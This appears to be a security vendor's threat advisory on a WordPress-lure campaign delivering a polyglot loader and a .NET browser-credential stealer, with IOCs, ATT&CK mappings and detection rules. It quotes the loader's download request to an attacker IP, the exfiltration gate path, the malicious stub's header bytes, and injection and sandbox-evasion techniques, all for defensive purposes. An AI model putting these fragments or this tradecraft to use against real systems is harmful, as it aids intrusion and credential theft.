TLP:CLEAR  ·  Disclosure is not limited — may be shared freely
SECURELEAF · CTI DIVISION
Dispensight Threat Intelligence
ADVISORY SL-ADV-2026-WP-002
SERIES Omegatech / AS202412
PUBLISHED 2026-08-03 · rev.2
HANDLE Dispensight (OTX · AbuseIPDB)
Malware Behavioral Analysis · Full Kill Chain

WordPress lure to browser theft:
the MZER two-stage infostealer chain

A compromised WordPress page walks a victim through EtherHiding and a ClickFix paste into a native MZER-polyglot loader, which pulls down and injects a CLR-hosted .NET infostealer that harvests browser credentials and ships them out over an AES-wrapped socket. This advisory documents each stage, what the payloads steal, and how to detect them.

2
Native payloads analyzed
loader + infostealer
8
Kill-chain stages
lure → exfil
1
New stage/C2 host
158.94.211.92
21
ATT&CK techniques
mapped & confirmed
01

Executive summary

What a defender needs in thirty seconds.

The Omegatech cluster (AS202412) is running a WordPress-lure campaign that delivers two cooperating native x86-64 payloads. Both carry the cluster's signature 4D 5A 45 52 (“MZER”) header — a polyglot that reads as a valid MZ image to lazy parsers while executing as a position-independent GetPC stub, letting the ClickFix PowerShell cradle run the raw blob directly in memory.

The first payload, my_enterprise, is a compact loader: it fingerprints the host token, enumerates processes, downloads the second stage over WinHTTP from 158.94.211.92, and injects it into svchost.exe. The second payload, my_sss, hosts the .NET runtime and reflectively loads a managed infostealer that harvests browser credentials, cookies and local files, captures the screen, then AES-encrypts and exfiltrates over a custom TCP socket to a /c0g1k2s3 gate. Two public sandboxes corroborate the behavior; the earlier low VirusTotal/Zenbox score reflects only the benign .eml carrier, not the payload.

02

The kill chain

Eight stages from a victim landing on a compromised page to credentials leaving the host. Stages 1–4 are drawn from prior WP-001 tracking of this cluster; stages 5–8 are established by direct analysis of the two payloads in this advisory.

1
Compromised WordPress lureT1566 · T1189

Victim reaches a legitimate-but-compromised WordPress site. Injected script in the page silently initiates the next stage — no attachment, no obvious download.

2
EtherHiding (BSC testnet)T1102 · T1071.001

The page issues a read-only eth_call to a Binance Smart Chain testnet contract over TLS/443. The contract's return data hides the next-stage instructions on-chain — resilient, un-takedownable hosting that blends into normal RPC traffic.

abused-legitimate: BSC public nodes — do not blocklist
3
ClickFix social engineeringT1204.001 · T1204.002

A fake “verify you are human” / fix-this-error panel instructs the user to press Win+R and paste a pre-loaded clipboard command. The human is the execution primitive — no exploit required.

4
PowerShell cradleT1059.001

The pasted command launches PowerShell (observed UA: bare powershell / WindowsPowerShell/5.1.19041.4046) which retrieves the stage-2 blob and hands it to the MZER stub for in-memory execution.

5
Native loader — my_enterpriseT1620 · T1027.009 · T1134

50 KB console PE with MZER header. Runs as PIC, checks its process token/integrity (OpenProcessToken, GetTokenInformation), walks the process list (CreateToolhelp32Snapshot), then fetches the next stage via WinHTTP.

GET http://158.94.211.92/enterprise/my_sss.bin
6
Process injection → svchost.exeT1055.002 · T1055

The loader allocates and writes the downloaded stage into a remote process and runs it: VirtualAllocExWriteProcessMemoryCreateRemoteThread, targeting svchost.exe to blend with normal service activity.

7
CLR-hosted infostealer — my_sssT1620 · T1555.003 · T1113

270 KB PE that hosts the .NET runtime (mscoree!CLRCreateInstance) and reflectively loads a managed stealer via DefineDynamicAssembly / DefinePInvokeMethod — building its P/Invoke stubs at runtime so there is no static import table to key on. It harvests browser secrets and local files and captures the screen.

8
AES exfiltration + persistenceT1573 · T1543.003

Collected data is AES-encrypted (AesManaged / CryptoStream) and streamed over a raw TCP socket to the /c0g1k2s3 gate. Persistence via Task Scheduler COM / Windows service (per cluster tradecraft).

custom protocol · AES over NetworkStream
03

Payload deep-dive

Two cooperating binaries, one delivery skin.

Stage 2 · Loader / Injector

my_enterprise

SHA-256 1e0a8824…da53555 · PE32+ console x64 · 50,688 B · 9 sections
  • HDRMZER polyglot — GetPC self-locating stub at offset 0; jumps to appended loader table.
  • RECONToken/integrity check (ADVAPI32); process enumeration via Toolhelp32.
  • NETWinHTTP client fetches enterprise/my_sss.bin from 158.94.211.92.
  • INJECTVirtualAllocEx / WriteProcessMemory / CreateRemoteThread into svchost.exe.
  • LANGNative C; static imports present (unlike stage 3).
Stage 3 · Infostealer

my_sss

SHA-256 41d8d77a…ff9e26e · PE32+ GUI x64 · 275,968 B · 7 sections
  • HDRMZER polyglot — same stub, offset table at ~0x43000.
  • CLRHosts .NET runtime; mscoree CLRCreateInstance + OLEAUT32 SafeArray marshalling.
  • EVADERuntime dynamic assembly + P/Invoke — no static import table for the managed logic.
  • COLLECTCopyFromScreen (screenshot), GetFiles / FindFirstFileExW (file harvest), GetProcesses.
  • EXFILAesManaged + CryptoStream over NetworkStream → /c0g1k2s3.
04

What it steals

Capability observed statically, corroborated by runtime detonation. The precise browser target list lives in an encrypted .rdata blob (entropy 7.34, runtime-keyed), so the categories below are stated at the confidence the evidence supports — not invented specifics.

Confirmed at runtime source: CAPE detonation

  • Browser credentials — saved logins from Chromium/Gecko stores (T1555.003, T1003).
  • Credentials in files — secrets scraped from local files (T1552.001).
  • Local system data — file collection from user directories (T1005).
  • Encrypted C2 channel — generic HTTPS/socket exfil observed (T1573).

Capability in binary source: static strings/imports

  • ScreenshotsCopyFromScreen / CopyPixelOperation (T1113).
  • File enumerationGetFiles, FindFirstFileExW, FileInfo.
  • Host/user reconGetProcesses, get_UserDomainName, get_MainModule.
  • Remote configDownloadString pulls additional instructions.
Analyst note: browser cookies/session tokens are the highest-value loss here — combined with the credential theft they enable session hijacking that bypasses MFA. Priority response is credential rotation and session invalidation for any browser profile on an affected host, not just password resets.
05

Dynamic analysis — runtime behavior

Detonation traces (VirusTotal Jujubox) for both payloads. The decisive finding: neither sample completed its network stage under analysis — the low public sandbox scores reflect gated execution, not benign code.

Why the sandbox verdicts mislead: the loader staged its full network path and opened injection targets but never fetched a payload (stage host unreachable at detonation); the infostealer spun up the CLR, then stalled 60 s and never exfiltrated. Both are environment-aware and C2-dependent — score them on capability, not on a clean detonation.
Runtime · Loader

my_enterprise

13 distinct APIs · no completed egress
  • NETFull stack staged — winhttp, WS2_32, mswsock, DNSAPI + SSPI/credssp: provisioned for authenticated/proxied TLS, not a naive GET.
  • HUNT26× OpenProcess against service-band PIDs (588–960) — runtime confirmation of the svchost injection-target search.
  • GATENo VirtualAllocEx / WriteProcessMemory / CreateRemoteThread and no HTTP GET completed — nothing to inject because the stage fetch never landed.
  • EVADEGetTickCount timing ×6.
Runtime · Infostealer

my_sss

31 distinct APIs · CLR bootstrap confirmed
  • CLRLoaded clr.dll / mscorwks.dll / mscorjit.dll from v2.0.50727 and v4.0.30319 — dynamic proof of the reflective managed-assembly host.
  • EVADEIsDebuggerPresent ×2 (T1622) and Sleep(60000) — a 60 s stall (T1497.003) to outlast the analysis window.
  • RECONGetComputerNameExW + AppData\Roaming / Temporary Internet Files staging, then the trace ends before collection/exfil.
  • VARDetonated build SHA-256 0f7a070d… differs from the analyzed body — per-victim recompile confirmed.
IOC trap — do not signature: the mutex Global\CLR_CASOFF_MUTEX and the IL\<hex>\<hex>\… registry keys are legitimate .NET CLR / Fusion artifacts created by any managed process. They look like campaign markers and are not — signaturing them would false-positive on benign .NET software.
06

Indicators of compromise

158.94.211.92 is new to this cluster's infrastructure set and is a clean AbuseIPDB candidate (categories 20 · 15). Earlier-stage infra (178.16.53.137, 91.92.243.161:3038) is tracked under WP-001.

TypeIndicatorContext
SHA-2561e0a8824261e3edb36d12fd5ce659cbb3989d4470809d2310cc56cd47da53555my_enterprise (loader)
SHA-25641d8d77a24d3dc8d678423a5a4e69616cf60893f02ac8117e688970b1ff9e26emy_sss (infostealer)
SHA-2560f7a070dd42966ee67eeaa2dddf273749161c829f9d0a7d5fab40b4499f87f41my_sss recompile (detonated build)
SHA-256ce02b462fc089eb8b57e49287449630f2da4d9a78405e2e1b01d529682659d2a.eml delivery carrier
MD5a1f7fc14f95158153c1fc1c5dc079af1my_enterprise
MD5d4b928f715e9636db9c571b64999353emy_sss
IPv4158.94.211.92Stage host + C2 · new
URLhttp://158.94.211.92/enterprise/my_sss.binStage-3 fetch
URI/c0g1k2s3C2 exfil gate
HEADER4D 5A 45 52 E8 00 00 00 00 59 48 83 E9 09MZER GetPC stub @ offset 0
07

ATT&CK coverage

Techniques mapped across the full chain; full mappings and relationships ship in the STIX bundle.

T1566.001
Spearphishing / lure
T1102
Web service (EtherHiding)
T1204.001
User execution (ClickFix)
T1059.001
PowerShell
T1027.009
Embedded polyglot
T1620
Reflective code loading
T1055.002
PE injection
T1134
Token manipulation
T1057
Process discovery
T1113
Screen capture
T1003
Credential dumping
T1555.003
Browser credentials
T1552.001
Credentials in files
T1005
Data from local system
T1573
Encrypted channel
T1095
Non-app-layer protocol
T1543.003
Windows service persist.
T1071
App-layer protocol
T1497
Sandbox evasion
T1497.003
Time-based stall (60s)
T1622
Debugger evasion
08

Detection

The polyglot header is the strongest anchor — a genuine MZ image never has E8 at offset 4, so the false-positive rate is near zero. Full ruleset ships alongside this advisory as SL-ADV-2026-WP-002_omegatech.yar (5 rules, validated against both samples).

Primary anchor — YARA

SL-ADV-2026-WP-002_omegatech.yar
rule Omegatech_MZER_polyglot_header {
  // MZ-lookalike that is also a GetPC stub
  strings:
    $stub = { 4D 5A 45 52 E8 00 00 00 00
              59 48 83 E9 09 48 8B C1 48 05 }
  condition:
    $stub at 0
}

Network & host

SIEM / EDR guidance
# Network
dst_ip == 158.94.211.92
uri  contains "/enterprise/my_sss.bin"
uri  contains "/c0g1k2s3"

# Host behavior
powershell → child MZ image in memory
svchost.exe ← CreateRemoteThread (external)
process loading mscoree.dll from
  a non-.NET, non-signed binary
Companion artifacts: STIX 2.1 bundle (SL-ADV-2026-WP-002_omegatech.stix.json — 2 malware, 7 indicators, 21 attack-patterns, 34 relationships) and the YARA ruleset accompany this report for direct ingestion into OTX / TAXII downstream consumers.